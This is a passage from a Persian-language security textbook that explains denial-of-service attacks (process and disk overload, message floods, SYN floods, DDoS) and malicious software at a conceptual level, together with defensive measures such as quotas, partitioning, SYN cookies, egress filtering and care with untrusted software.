در حملهٔ "بارگذاریِ بیش از حد" (که در ادامهٔ بحث، آنرا به اختصار "حملات بارگذاری" می‌نامیم)، یک منبع یا سرویسِ به‌اشتراک گذاشته‌شده با درخواستهای غیرحقیقیِ بیشماری مشغول می‌شود، تا جائیکه از پاسخگویی به درخواستهای حقیقی سایر کاربران باز می‌ماند. بعنوان مثال اگر یک کاربر تعداد زیادی پردازه ایجاد نماید، سایر کاربران قادر به اجرای پردازه‌های خود نخواهند بود، و اگر کاربری دیسکها را پر کند، کاربران دیگر نمی‌توانند فایل جدیدی ایجاد کنند. شما می‌توانید با تعریف و اعمال محدودیتهای مختلف از جمله محدودیت در حجم مجاز دیسک برای استفادهٔ کاربران (quota)، تا حدودی از منابع مورد استفادهٔ کاربران در مقابل حملات بارگذاری محافظت نمایید. شما می‌توانید از محدودیتهای فیزیکی بعنوان نوعی quota استفاده کنید؛ مثلاً منابع رایانهٔ خود را به partitionهای مختلف تقسیم نمایید و هر کاربر را محدود به استفاده از یک partition گردانید. نهایتاً اینکه شما می‌توانید سیستمها را طوری تنظیم کنید که بارگذاری بیش از حد را بطور خودکار تشخیص دهند و در آنصورت رایانه‌ها را راه‌اندازی مجدد کنند. (هرچند به این ترتیب به مهاجم امکان راه‌اندازی مجدد رایانه را داده‌اید که این خود می‌تواند مشکلات دیگری بوجود آورد.)

مشکلات بارگذاری پردازه‌ها، ریزپردازنده، و حافظه

یکی از ساده‌ترین حملات تخریب سرویس، *تهاجم پردازه‌ای*[۳۰۵] است. در یک تهاجم پردازه‌ای، مهاجم رایانه را برای سایر کاربران که بصورت همزمان از خدمات رایانه استفاده می‌کنند غیرقابل استفاده می‌نماید. نوع دیگری از حملات تخریب سرویس پردازه‌ای زمانی اتفاق می‌افتد که مهاجم با ایجاد پردازه‌های زیاد، تمام پهنای باند دیسک یا ریزپردازنده را می‌گیرد؛ و نوعی دیگر نیز درصورتی است که برنامه‌های مهاجم تمام حافظهٔ (فیزیکی و مجازی) سیستم را اشغال می‌کند. گاه به این برنامه‌ها "باکتری" یا

303 *Destructive Attacks*
304 *Overload Attacks*
305 *Process Attack*

"خرگوش" گفته می‌شود؛ چون تولید مثل آنها سرعت بسیار بالایی دارد. بطور کلی این حملات در مورد رایانه‌های به‌اشتراک گذاشته‌شده موضوعیت پیدا می‌کنند، چراکه اگر کاربری ایستگاه کاری خودش را بیش از ظرفیت بارگذاری کند، تا وقتی قرار نیست شخص دیگری از آن استفاده کند چندان مهم نیست.[۳۰۶]

بهترین راه مبارزه با مشکلات بارگذاری، آموزش کاربران برای استفاده از مکانیزمهای عادلانهٔ به‌اشتراک‌گذاری منابع می‌باشد. اگر برنامه‌های شما نیازمند پردازش بالا هستند و شما هم شبکه‌ای از رایانه‌های مشابه در اختیار دارید، بهتر است از یک *سیستم توزیع‌شدهٔ زمانبندی وظایف*[۳۰۷] استفاده کنید. محدودیتها و quotaها نیز درصورتیکه سیستم‌عامل آنها را پشتیبانی کند می‌توانند مفید باشند.

حملات به دیسکها

یک راه دیگر برای غلبه بر یک سیستم، پر کردن بخشهای مختلف دیسک می‌باشد. اگر یک کاربر تمام دیسک را پر کند، از آن پس سایر کاربران قادر به ایجاد فایلهای جدید و بعبارتی انجام کار مفید نخواهند بود. بعضی اوقات زمانیکه یک برنامه یا کاربر به اشتباه اقدام به ایجاد فایلهای متعدد می‌کند، ظرفیت دیسک بطور ناگهانی پر می‌گردد. در مواقع دیگر با زیاد شدن تدریجی فضای مورد استفاده کاربران، دیسکها به مرور پر می‌شوند.

اکثر سیستم‌عاملها دستوراتی دارند که به مدیران در کنترل فضای دیسک مورد استفاده توسط کاربران و در اتخاذ تصمیم در مورد پاک کردن فایلها جهت ایجاد فضای بیشتر کمک می‌کنند. یک راه مؤثر برای حفاظت سیستم در مقابل حملات دیسکی، استفاده از ویژگی quota برای دیسک در سیستم‌عامل است (معمولاً سیستمهای مبتنی بر Posix واجد این ویژگی هستند). با این ویژگی می‌توان هر کاربر را در استفاده از دیسک محدود کرد. در هر partition یا سیستمِ فایل قابل دسترسی توسط کاربران، باید برای دیسک qouta مشخص شود. در تخصیص فضای مجاز به کاربران، درنظر گرفتن partitionها و شاخه‌های مربوط به ذخیرهٔ نامه‌های الکترونیکی و یا فضای فایلهای موقت پردازشها را فراموش نکنید.

همچنین شما می‌توانید با تفکیک دیسک سخت به چند partition کوچکتر و قرار دادن شاخه‌های home کاربران مختلف در partitionهای متفاوت، از سیستم خود در برابر این نوع حملات محافظت نمایید. در اینصورت اگر کاربری یک partition را بطور کامل اشغال کند، این امر تأثیری بر کاربران سایر partitionها نخواهد داشت. یکی از مشکلات این شیوه این است که اگر شاخه‌ای به فضای بیشتری نیاز داشته باشد باید آنرا به partition دیگری منتقل کنید، و همچنین در سیستمهایی که از *پیوند سخت*[۳۰۸] پشتیبانی می‌کنند نمی‌توانید میان فایلهای چند کاربر متفاوت پیوند سخت ایجاد کنید.

اگر شما خدماتی روی شبکه اجرا می‌کنید که ممکن است به کاربران خارجی اجازهٔ اشغال فضای زیادی از دیسک را بدهند (مثلاً دریافت نامه‌های الکترونیکی و یا یک پایگاه FTP با توانایی upload گمنام)، آنها را در بخشهای مجزایی قرار دهید تا سایر بخشها در معرض سرریز نباشند. از دست دادن موقت توانایی دریافت نامه‌های الکترونیکی و یا فایلها بسیار آزاردهنده است، اما از دست دادن کل دسترسی به سرویس‌دهنده غیرقابل تحمل می‌باشد.

برخی از سیستمهای فایل – بخصوص آنهایی که در سیستمهای Unix مورد استفاده قرار دارند – بطور خودکار قسمتی از دیسک را برای استفادهٔ پردازه‌های *ابرکاربر*[۳۰۹] رزرو می‌کنند. با استفاده از این ویژگی، ابرکاربر می‌تواند درصورت پر شدن دیسک به سیستم وارد شود و سیستم را مدیریت کند. در سیستمهای فایلی که از این ویژگی برخوردار نیستند می‌توانید این حالت را با ایجاد یک فایل زائد بزرگ روی دیسک شبیه‌سازی کنید تا درصورتیکه بطور ناگهانی به فضای خالی نیاز پیدا کردید، آنرا پاک نمایید.

---

۳۰۶ *برای مشاهدهٔ توصیه‌های مربوط به ترمیم پس از انجام یک حملهٔ پردازه‌ای رجوع کنید به بخش ۲۴ کتاب PUIS.*

307 *Distributed Task Scheduling System*
308 *Hard Link*
309 *Superuser*

تخریب سرویس شبکه

شبکه‌ها نیز نسبت به حملات تخریب سرویس آسیب‌پذیرند. در اینگونه حملات، مهاجم مانع استفادهٔ کاربران حقیقی و مجاز از شبکه می‌شود. این نوع حمله به شبکه را به اشکال مختلف می‌توان بوجود آورد.

بارگذاری سرویس

یک سرویس زمانی بیش از حد بارگذاری می‌شود که سیلی از درخواستها از طریق شبکه به یک daemon سرویس‌دهنده روی یک رایانه سرازیر شود. این سیل درخواستها می‌تواند به طرق گوناگونی به وجود آید؛ هم به شکل تصادفی و هم به شکل عمدی.

این مسئله می‌تواند سیستم را آنچنان مشغول پردازش درخواستهای شبکه‌ای کند که دیگر قادر به انجام سایر کارها طبق روال عادی نباشد. در اینحالت بسیاری از درخواستها بدلیل عدم وجود محلی برای ذخیره‌شدن دور ریخته می‌شوند، و درخواستهای واقعی مجدداً ارسال می‌گردند و به بارِ روی رایانه می‌افزایند. اگر سرویسی که باعث شروع یک پردازهٔ جدید می‌شود مورد حمله قرار گیرد، سیستم ممکن است آنقدر پردازه‌های جدید تولید کند که دیگر برای انجام کارهای مفید، جایی در جدول پردازه‌ها باقی نماند. به همین شکل، این حمله ممکن است باعث اشغال بخش اعظمی از حافظه، ریزپردازنده یا فضای دیسک توسط آن سرویس شود.

بار اضافی ناشی از این حمله ممکن است هدف نهایی مهاجم باشد، و یا طرحی برای پنهان کردن حمله‌ای در جایی دیگر. بعنوان مثال ممکن است دستگاه ثبت اطلاعات ممیزی مورد حمله قرار گیرد تا از ثبت شدن به‌موقعِ ورود و خروج جلوگیری بعمل آورد. این نوع حمله ممکن است صرفاً برای منحرف کردن توجهات و یا قطع خطوط ارتباطی انجام گیرد، درحالیکه عمل دیگری – مثلاً بمب‌گذاری در یک اتوموبیل – درحال وقوع است.

شما می‌توانید از یک ناظر شبکه برای کشف نوع و گاهی مبدأ حملات بارگذاری استفاده کنید. فهرستی از ماشینها و آدرسهای سخت‌افزاری آنها (آدرس روی کارت ethernet، و نه آدرسهای IP) می‌تواند به شما در ردیابی مبدأ مشکل – اگر از داخل شبکهٔ خودتان باشد – کمک کند. هنگام ردیابی مشکل، منفصل کردن شبکه و زیرشبکه‌ها می‌تواند در انجام کار کمک کند. اگر در دیوارهٔ آتش یا مسیریاب خود قابلیت ثبت داشته باشید، به سرعت می‌توانید بفهمید که حمله از داخل شبکه بوده یا خارج آن؛ چون نمی‌توان به آدرس IP بسته‌های ارسالی اطمینان کرد.

اگرچه نمی‌توانید از حملات بارگذاری ممانعت بعمل آورید، اما اقدامات زیادی وجود دارد که با بکارگیری آنها می‌توانید صدمات وارده را به حداقل رسانده یا سیستم خود را در برابر آنها مقاوم‌تر سازید.

آمادگی برای مقابله با حمله

با نصب سیستمهای ناظر، ثبت‌کننده و سایر انواع سیستمهای تحلیل، درصورت وقوع حمله به سرعت قادر به شناسایی نوع حمله و با کمی اقبال، تعیین مبدأ آن نیز خواهید بود. روی زیرشبکهٔ خود چند نظارتگر اضافه (و محافظت‌شده) داشته باشید تا بوسیلهٔ آنها بتوانید به سرعت ترافیک شبکه را بررسی نمایید. فهرستی از آدرسهای IP و ماشینهای سخت‌افزاری نیز دم دست داشته باشید تا مشاهدهٔ جریان بسته‌ها بهتر بتواند به شما در تشخیص منشاء بارگذاری کمک کند.

تفکیک شبکه به چند زیرشبکه

با انجام اینکار درصورتیکه یک زیرشبکه در اثر حمله یا بصورت تصادفی از کار بیافتد، همهٔ ماشینها از کار نمی‌افتند.

تهیهٔ چند اتصال اینترنت برای سازمان

برخی از اتصالها ممکن است اعلان عمومی نشوند، اما برای روز مبادا کنار گذاشته شده باشند.

استفاده از مفهوم دریچه در برنامه‌های کاربردی

برخی از برنامه‌ها اصطلاحاً دارای یک "دریچهٔ ورودی" هستند، تا اگر تعداد بیش از اندازه‌ای درخواست در مدت زمان کوتاهی دریافت کردند، شروع به رد درخواستها و ثبت پیغامی مبنی بر از کار افتادن سرویس کنند. این عمل با این فرض انجام می‌پذیرد که یک اشکال، این ترافیک را بوجود آورده است. اثر جانبی اینکار این است که این سرویس همانند وقتی که تمام تقاضاها را برای پردازش می‌پذیرفت و از کار می‌افتاد، غیرفعال می‌شود. به هرحال به کمک این روش می‌توان جلوی از کار افتادن کامل سرویس‌دهنده را گرفت و در کنار آن سابقه‌ای از زمان وقوع این مشکل نیز به ثبت رساند.

اطمینان از معقول بودن محدودیتهای موجود در فایلهای پیکربندی

اگر شما سرویس‌دهندهٔ وب Apache را اجرا کرده باشید حتماً دیده‌اید که افزایش ناگهانی تعداد درخواستها به سرویس‌دهنده باعث "fork" شدن تعداد زیادی پردازهٔ http می‌شود. در این سرویس‌دهنده تعداد کل اتصالهای مجازِ همزمان با پارامتر maxClients در فایل پیکربندی Apache به نام httpd.conf کنترل می‌گردد.

در بسیاری از نسخه‌های Apache مقدار maxClients بصورت پیش‌فرض عدد ۲۰۰ است، به این معنی که حداکثر ۲۰۰ پردازهٔ http مجزا می‌توانند بصورت همزمان وجود داشته باشند. اگر هریک از پردازه‌های httpd حافظه‌ای معادل ۸ مگابایت داشته باشد، درحالت حداکثر ۱٫۶ گیگابایت فضای swap را اشغال می‌کنند. اما اگر هریک از پردازه‌های httpd ۲۰ مگابایت باشند، در آنصورت شما به ۴۰ گیگابایت فضای swap نیاز دارید؛ که شاید از کل ظرفیت حافظهٔ سیستم شما هم بیشتر باشد.

سیل پیامها[۳۱۰]

سیل پیامها وقتی اتفاق می‌افتد که کاربری با سرازیرکردن تعداد زیادی پیامهای شبکه‌ای به آدرس یک سیستم، سرعت پردازش آنرا در شبکه کم می‌کند تا از عملکرد عادی آن جلوگیری نماید. این پیامها ممکن است درخواستهایی برای سرویس فایل، سرویس ورود، و یا درخواستهای سادهٔ پژواک باشند. این سیل پیامها به هر شکلی که باشد باعث می‌شود بیشتر منابع رایانهٔ مقصد صرف پاسخگویی به آنها شود. در بدترین حالات این سیل ممکن است باعث شود ماشین بعلت مواجهه با خطاهای ناشی از کمبود حافظه برای ذخیرهٔ بسته‌های ورودی از کار بیافتد. در اینصورت این حمله باعث انسداد دسترسی به سرویس‌دهنده‌های شبکه خواهد شد.

یک سرویس‌دهندهٔ سیل‌زده ممکن است نتواند به پیامهای شبکه پاسخِ بهنگام دهد. مهاجم با استفاده از این مسئله می‌تواند برنامه‌ای بنویسد که بجای سرویس‌دهنده به پیامها و درخواستها پاسخ دهد. مثلاً می‌تواند یک سرویس‌دهندهٔ NIS را سیل‌زده کند و سپس پاسخهای خود را برای درخواستهای NIS – خصوصاً درخواست رمز عبور – صادر نماید.

نوع مشابهی از حمله، *طوفان عام‌گستر*[۳۱۱] است. با طراحی دقیق و ماهرانهٔ پیامهای شبکه، می‌توانید پیامی بسازید که هر رایانهٔ دریافت‌کننده را وادار به پاسخ و یا ارسال مجدد آن کند. درنتیجهٔ این حمله، شبکه اشباع شده و غیرقابل استفاده می‌گردد. قبل از اواخر دههٔ ۱۹۹۰ طوفانهای عام‌گستر از اشکالات سخت‌افزاری و یا نرم‌افزاری محصولات درحال ساختی که حاوی اشکالات بودند و یا پیکربندی نادرستی داشتند ناشی می‌شد، اما اکنون این امکان وجود دارد که یک طوفان عام‌گستر را بطور عمدی ایجاد کرد و حملات معروف به smurf و fraggle نیز نمونه‌هایی از همین قبیل هستند.

پخش پیامهای با قالب اشتباه نیز می‌تواند موجب توقف کار رایانه‌های یک شبکه گردد. اگر هر یک از رایانه‌ها بگونه‌ای پیکربندی شده باشند که پیامهای نامناسب را روی دیسک ثبت کنند، طوفانها می‌توانند آنقدر پیام تولید کنند که در نتیجهٔ آنها سرویس‌گیرنده‌ها قادر به انجام هیچ کاری بجز پردازش و ثبت خطاها نباشند.

310 *Message Flooding*
311 *Broadcast Storm*

در اینجا هم داشتن یک رایانهٔ مجزا برای نظارت و تفکیک شبکه به چند زیرشبکه می‌تواند به مقابله با این دسته مشکلات کمک کند، هرچند که هیچکدام از این راه‌حلها قادر به جلوگیری کامل از این مشکلات نیستند. همچنین برخی از دیواره‌های آتش غربال‌ساز بسته‌ها (سخت‌افزاری یا مبتنی بر میزبان) می‌توانند با "کنترلِ سرعت اتصال" از تأثیر این حملات بکاهند. برنامهٔ netfilter در هستهٔ سیستم‌عامل Linux 2.4 نمونهٔ خوبی از این قبیل برنامه‌ها است.

پیکربندی صحیح تمام دیواره‌های آتش و مسیریابها برای جلوگیری از ارسال پیامهای عام‌گستر از میزبانهای غیرمجاز، بسیار با اهمیت است. بهتر است برای اطلاع از چگونگی انجام اینکار مستندات فروشنده را بررسی کنید. سند مشاوره‌ای CERT/CC به شمارهٔ CA-1998-01 (که در پایگاه وب آن موجود است) جزئیات پیکربندی بسیاری از سیستمهای رایج برای توقف و جلوگیری از بروز چنین ارسالهایی را شرح داده است.

بیشتر نرم‌افزارهای تهاجم که حملات تخریب سرویس انجام می‌دهند از آدرسهای تصادفی بعنوان آدرس مبدأ استفاده می‌کنند تا احتمال آشکار شدن حمله را کاهش دهند. درنتیجه صافیهای خروجی روی مسیریابهای مرزی، هر از چندگاه جلوی مشارکت رایانه‌های شبکه در حملات تخریب سرویس توزیع‌شده را می‌گیرند – و اگر آنها همچنان در این حملات درگیر باقی بمانند، ساده‌تر می‌توان آنها را ردیابی کرد، چون بسته‌های حمله دارای آدرسهای بازگشت صحیحی خواهند بود.

حملات انسداد (حملات سیل SYN)

پیاده‌سازی پروتکلهای TCP/IP روی برخی سیستم‌عاملها به طرق گوناگون امکان سوء استفاده را فراهم می‌آورد. یکی از راههای تخریب سرویس، استفاده از حداکثرِ ممکنِ اتصالهای نیمه‌باز می‌باشد. اتصالهای TCP از مکانیزمی به نام "دست‌دادن چندمرحله‌ای" برای بازکردن یک اتصال و تنظیم پارامترهای آن اتصال استفاده می‌کنند. اگر یک مهاجم چند پیامِ ایجاد ارتباط (بسته‌های SYN) بفرستد اما مراحل بعدی ایجاد اتصال را انجام ندهد، چندین اتصال در سمت گیرنده نیمه‌باز باقی می‌مانند و منابع محدود آنرا اشغال می‌کنند. معمولاً این درخواستهای اتصال دارای آدرسهای مبدأ جعلی هستند که مربوط به میزبانهایی غیرواقعی یا غیرقابل دسترسی بوده و برقراری ارتباط با آنها غیرممکن می‌باشد. درنتیجه راهی نیز برای ردیابی مبدأ آنها وجود ندارد. این اتصالات نیمه‌باز تا زمانی که زمان حیات آنها به پایان برسد (یا تا زمانی که توسط مهاجم دوباره فرستاده شوند) باقی می‌مانند. به این حملات، *حملات سیل SYN*[۳۱۲] و یا بطور ساده‌تر *حملات انسداد*[۳۱۳] می‌گویند.

راه‌حلهای زیادی برای رفع تهدید حملات سیل SYN وجود دارد. بعضی سیستم‌عاملها بطور خودکار تشخیص می‌دهند که مورد یک حملهٔ سیل SYN قرار گرفته‌اند و برای مقابله با آن، زمان حیات تمامِ بسته‌های SYN را پایین می‌آورند. یک راه دیگر این است که اگر جدول اتصالات نیمه‌باز پر شود، هربار یکی از خانه‌های آنرا بطور تصادفی دور می‌ریزد. از آنجا که جدول معمولاً هنگام حمله پر می‌شود، احتمال اینکه یکی از بسته‌های تهاجمی دور ریخته شود زیاد است.

در نهایت سرویس‌دهنده می‌تواند از cookieهای SYN استفاده کند. در اینصورت سرویس‌دهندهٔ TCP یک پیام SYN+ACK به سمت سرویس‌گیرندهٔ TCP می‌فرستد که در آن اطلاعات کافی برای بازسازی قسمت سرویس‌دهنده‌ای اتصال TCP نیز وجود دارد، و به این ترتیب این امکان را بوجود می‌آورد که سرویس‌دهنده بتواند SYN اولیه را از جدول خود حذف کند. وقتی پیام ACK از سرویس‌گیرنده دریافت شد، سرویس‌دهنده SYN اولیه را از روی آن اطلاعات بازسازی می‌کند، اتصال با "دست‌دادن سه‌طرفه" کامل می‌شود و سپس شروع به کار می‌کند. با استفاده از این روش، برقراری اتصال TCP به فرآیندی *مستقل از وضعیت*[۳۱۴] تبدیل می‌گردد.

---

312 SYN Flood Attacks
313 Clogging
314 Stateless

cookieهای SYN توسط *دانیل برنشتاین*[۳۱۵] ابداع شدند و در آدرس *http://cr.yp.to/syncookies.html* به تفصیل در مورد آنها توضیح داده شده است. سیستمهای BSD و Linux حاوی یک پیاده‌سازی از cookieهای SYN هستند. (البته این گزینه باید در سیستمهای Linux صراحتاً فعال شود.)

برخی سیستم‌عاملها به شما اجازه می‌دهند نحوهٔ ذخیره‌سازی اتصالهای نیمه‌باز در صف را تغییر دهید. می‌توانید طول صف را زیاد کنید، و یا زمان حیات اتصالهای نیمه‌باز را کاهش دهید. این روش نیز از نظر شکل کارکرد غیراستاندارد است و درصورت استفاده از آن، ممکن است برخی تولیدکنندگان به دستکاری متغیرهای هستهٔ سیستم‌عامل نیاز پیدا کنند. برای موارد خاص به تولیدکنندهٔ محصولات مورد استفادهٔ خود رجوع کنید.

حملات ترافیک بدشکل[۳۱۶]

در گذشته، اشکالات موجود در سطوح پایین شبکه باعث می‌شدند که سیستمها در برخورد با یک بسته یا درخواست بدشکلHTTP از کار بیافتند. بعنوان مثال نوعی حمله معروف به *پژواک مرگ*[۳۱۷] هردوی سیستمهای Windows و Unix را با دریافت یک بستهٔ ICMP که طولانی‌تر از اندازهٔ مجاز بود از کار می‌انداخت. تجهیزات شبکه‌ای زیادی از جمله سرویس‌دهنده‌های چاپگر، دیواره‌های آتش خانگی، و حتی مسیریابها، هنگامیکه بدنبال آسیب‌پذیریهای IIS یا Apache کاوش می‌شدند، از کار افتاده‌اند. بطور کلی تنها راه مقابله با ترافیک بدشکل، استفاده از یک دیوارهٔ آتش بعنوان proxy و اطمینان از به‌روز بودن سیستمها است.

تخریب سرویس توزیع‌شده

مضرترین حملات شبکه‌ای، *حملات تخریب سرویس توزیع‌شده* (DDoSها)[۳۱۸] هستند. در یک حملهٔ DDoS، مهاجم خدمات شبکه را بارگذاری می‌کند یا سیلی از پیامها را به شبکه می‌فرستد، اما اینکار را از تعداد زیادی میزبان توزیع‌شدهٔ مختلف در اینترنت انجام می‌دهد. از آنجاکه بسته‌ها از تنها یک سیستم نمی‌آیند، مسدود کردن آنها با یک دیوارهٔ آتش غربال‌ساز بسته‌ها کار دشواری است؛ مگر اینکه میزبانها را بکلی از اینترنت جدا کنید.

حملات DDoS معمولاً از طریق یکسری *پردازه‌های پیرو*[۳۱۹] (zombie یا تراوا) انجام می‌پذیرد، که در میزبانهای دستکاری‌شده نصب شده‌اند و مهاجم می‌تواند آنها را از راه دور در حمله علیه یک مقصد مشخص بکار گیرد. یک راه‌حل کلیدی برای جلوگیری از وقوع حملات DdoS (چه اینکه حمله به رایانه‌های شما انجام شود و یا حمله‌ای از طریق رایانه‌های شما صورت پذیرد)، محافظت از سیستمها در برابر دستکاری شدن است تا در حملات دیگر از آنها بعنوان zombie استفاده نشود. در سطح شبکه، گذاشتن صافی ورودی و خروجی برای جلوگیری از خروج بسته‌های با آدرس مبدأ قلابی از شبکهٔ محلی، جلوی دخیل شدن ماشینهای داخلی در حملات DDoS را می‌گیرد.[۳۲۰]

حملات DDoS نیاز به نرم‌افزار خاصی ندارند. یک شکل حملات DDoS تنها با فرستادن *بسته‌های پژواک ICMP*[۳۲۱] با آدرسهای مبدأ قلابی به تعداد زیادی از رایانه‌های متصل به اینترنت انجام می‌گیرد، چراکه پاسخ مربوط به بسته‌ها به رایانهٔ قربانی برگشت داده می‌شوند. در روشی دیگر، تنها برای برقراری تعدادی اتصال TCP از آدرسهای IP ناموجود تلاش می‌شود. ماشین مقصد برای بررسی این تلاشهای برقراری اتصال باید منابعی مصرف کند و اگر تعداد این درخواستها از حد معینی بیشتر باشد، انجام اینکار می‌تواند ماشین را فلج کند.

315 *Daniel Bernstein*
316 *Malformed Traffic Attacks*
317 *Ping of Death*
318 *Distributed Denial of Service Attack*
319 *Slave Processes*

۳۲۰ *این استراتژی در RFC شمارهٔ ۲۸۲۷ توضیح داده شده است.*

321 *ICMP Ping Packets*

بعضی مواقع می‌توان با تغییر نام میزبان و آدرس IP ماشین مورد حمله، بر حملهٔ DDoS غلبه کرد. اگر نام میزبان یا آدرس IP قربانی درون کد نرم‌افزار حمله قرار داده شده باشد، با تغییر آنها می‌توان از میزبان قربانی محافظت نمود و در اینصورت بسته‌هایی که به آدرس قبلی فرستاده می‌شوند توسط مسیریاب خارجی یا ISP سازمان غربال می‌شوند. بعنوان مثال، کرم Blaster در آگوست ۲۰۰۳ طراحی شده بود تا یک حملهٔ DDoS را علیه آدرسی متعلق به سرویس به روز رسانی Microsoft Windows آغاز کند، اما چون این آدرس در متن برنامه قرار داده شده بود، مایکروسافت بسادگی توانست با تغییر آدرس IP پایگاه به‌روزرسانی Windows، این تهدید را رفع کند.[۳۲۲]

بهره‌برداری از راه دور

از آنجا که برنامه‌های سرویس‌دهندهٔ شبکه برای ارتباط با کاربران غیرقابل اعتماد خارجی طراحی می‌شوند و چون بسیاری از آنها با امتیازات اختصاصی به اجرا در می‌آیند، وجود اشکال در آنها معمولاً امکان بهره‌برداری از راه دور را بوجود می‌آورد.

بسیاری از بهره‌برداریهای از راه دور بر اساس تکنیک سرریزی buffer کار می‌کنند. این تکنیک متکی به روشی است که زبان برنامه‌نویسی C طبق آن اطلاعات را در حافظه می‌چیند. سیستم راه دور ممکن است بخواهد ۱۰۰ بایت در یک buffer که برای مثلاً ۴۰ بایت گرفته شده ذخیره کند. درنتیجه این اطلاعات روی قطعهٔ stack اختصاص‌یافته به آن برنامه نوشته می‌شود و موجب می‌شود دستورات مورد نظر مهاجم با امتیازات دسترسی سیستمی (بالاترین سطح دسترسی) اجرا گردد.[۳۲۳]

مهمترین روش جلوگیری از بهره‌برداری از راه دور، دقت در انتخاب و پیکربندی نرم‌افزارهای شبکه است. آسیب‌پذیری برخی نرم‌افزارها مکرراً نشان داده شده است، اما برخی دیگر از ابتدا با در نظر گرفتن امنیت طراحی شده‌اند و لذا مشکلات بسیار کمتری داشته‌اند. این روش تدافعی در فصل مربوط به امنیت سرویس‌دهنده‌ها بیشتر توضیح داده شده است.

تهدیدات برنامه‌ای

رایانه‌ها برای اجرای دستورالعملها بصورت ترتیبی طراحی شده‌اند. این دستورالعملها معمولاً کارهای مفیدی انجام می‌دهند، مقادیری را محاسبه می‌کنند، پایگاه داده‌ای را نگهداری می‌نمایند و با کاربران و سایر سیستمها ارتباط برقرار می‌کنند. اما این دستورالعملها گاهی می‌توانند ذاتاً مخرب یا بدخواهانه باشند. اگر صدمهٔ وارده اتفاقی باشد، به کد مربوطه "اشکال نرم‌افزاری" می‌گویند. شاید این اشکالات معمولترین دلیل رفتارهای غیرمنتظرهٔ برنامه‌ها باشند. اما اگر دستورالعملهای مخرب از طرف شخصی باشد که منظورش رخداد همان رفتار غیرمعمول بوده، به آن دستورالعملها "برنامهٔ بدخواهانه" یا "تهدید برنامه‌ای" می‌گویند. برخی افراد کلمهٔ *بدافزار*[۳۲۴] (نرم‌افزار مخرب) را برای چنین نرم‌افزارهایی بکار می‌برند.

این روزها بیشتر تهدیدهای برنامه‌ای از طریق اینترنت بصورت پیامهای پست الکترونیکی یا حمله‌ای مستقیم به یک سرویس‌دهندهٔ شبکه‌ای می‌آیند. دریافت یک نامهٔ الکترونیکی یا یک حملهٔ مستقیم می‌تواند واقعه‌ای تصادفی (یعنی سرویس‌دهندهٔ وب شما تصادفاً انتخاب شده باشد) یا عمدی باشد، و ممکن است یک حملهٔ هدایت‌شده اشتباهاً تبدیل به حمله‌ای تصادفی شود و یا بالعکس. حملات هدایت‌شده بسیار نگران‌کننده‌تر از حملات تصادفی هستند، چراکه یک مهاجم با انگیزه تا زمانی که موفق یا متوقف شود به حملاتش همچنان ادامه خواهد داد.

---

۳۲۲ *یکی از معروفترین حملات DDoS در فوریهٔ ۲۰۰۰ علیه دو شرکت پرمشتری Yahoo و Amazon صورت گرفت. تحلیلی بر "trinoo" (ترا‌وایی که zombieهای دخیل در این حمله را کنترل می‌کرد) در آدرس روبرو یافت می‌شود:*
http://www.sans.org/newlook/resources/IDFAQ/trinoo.htm

۳۲۳ *این شکل حمله عمری ۳۵ ساله دارد و کاملاً شناخته شده است. جالب است که تولیدکنندگان هنوز هم نرم‌افزارهایی تولید می‌کنند که به این روش می‌توانند بهره‌برداری و سوء استفاده قرار گیرند.*

ممکن است کاربران به عوامل ناخواسته‌ای برای انتقال ویروسها، کرمها و سایر تهدیدها تبدیل شوند. آنها ممکن است با نصب یک برنامهٔ ناشناخته، یک برنامهٔ مخرب درون آنرا نیز نصب کنند. ممکن است یک محافظ نمایشگر اجرا کنند که حاوی یک اسب تراوا باشد. البته بیشتر برنامه‌هایی که از اینترنت گرفته می‌شوند، هیچگونه قطعه‌برنامهٔ مخربی ندارند. اما به هرحال گرفتن و اجرای بی‌رویهٔ برنامه‌ها از منابع نامعتبر، احتمال موفق‌شدن برنامه‌های مخرب را افزایش می‌دهد. بنابراین باید در دریافت متن برنامه‌ها و فایلهای دستوری از منابع خارجی بسیار مراقب باشید. اداراتی که از حساسیت بالایی برخوردارند باید از اجرای نرم‌افزارهایی که امضای رمزشدهٔ یک نویسندهٔ مورد اعتماد را ندارند اجتناب کنند. انجام اینکار لزوماً شما را محافظت نمی‌کند، ولی اگر مشکلی پیش آید کسی وجود خواهد داشت که بتوانید او را مسئول بدانید.

درصورت امکان هیچگاه فایلهای اجرایی و کامپایل‌شده را download نکنید، بلکه در مورد تمام نرم‌افزارهای مورد نیاز، قبل از اینکه بستهٔ نرم‌افزاری جدید را روی سیستم خود نصب کنید، متن برنامه را (درصورت وجود) بخوانید و بفهمید. اگر در این مرحله به نرم‌افزاری مشکوک شدید از آن استفاده ننمایید، خصوصاً اگر برای به اجرا در آمدن به امتیازات خاص نیاز دارد، و نکتهٔ آخر اینکه تنها از منابع مورد اعتماد خود نرم‌افزار بگیرید.

توجه داشته باشید که بی‌دلیل نباید به نرم‌افزارهای هر گروه یا شرکت تجاری اعتماد کنید. گاهی اوقات شرکتهای تجاری، برای بوجود آوردن امکان نگهداری و یا احیای رمزهای عبور فراموش‌شده، در متن برنامه‌های خود دربهای مخفی قرار می‌دهند؛ و برخی دیگر برای تجاوز به حریم خصوصی در نرم‌افزار خود ابزار جاسوسی تعبیه می‌کنند. هرچند مشریان علاقه‌مند به خرید نرم‌افزارهایی هستند که برای آنها خدمات پس از فروش ارائه می‌شود، تولیدکنندگان علاقهٔ ناچیزی به مسئولیت‌پذیری در برابر برنامه‌ای که می‌فروشند دارند. بنابراین بهتر است برای برنامه‌های شخص ثالثی که می‌خرید و روی رایانهٔ خود نصب می‌کنید بدنبال تضمینهای مکتوب باشید.

